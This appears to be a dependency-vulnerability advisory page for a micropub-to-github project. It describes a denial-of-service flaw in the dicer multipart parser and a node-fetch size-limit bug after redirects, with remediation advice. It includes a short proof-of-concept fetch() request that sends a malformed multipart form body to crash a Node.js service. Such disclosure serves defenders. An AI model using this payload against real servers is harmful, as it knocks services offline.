  • Vulnerable module: dicer
  • Introduced through: micropub-express@0.8.1

Detailed paths

  • Introduced through: micropub-to-github@voxpelli/webpage-micropub-to-github#f71d6dc3aa8549ee0036118d794867c6dc706607 › micropub-express@0.8.1 › multer@1.4.4 › busboy@0.2.14 › dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC:

    fetch('form-image', {
      method: 'POST',
      headers: {
        ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
        ['content-length']: '145',
        host: '127.0.0.1:8000',
        connection: 'keep-alive',
      },
      body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
    });

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.
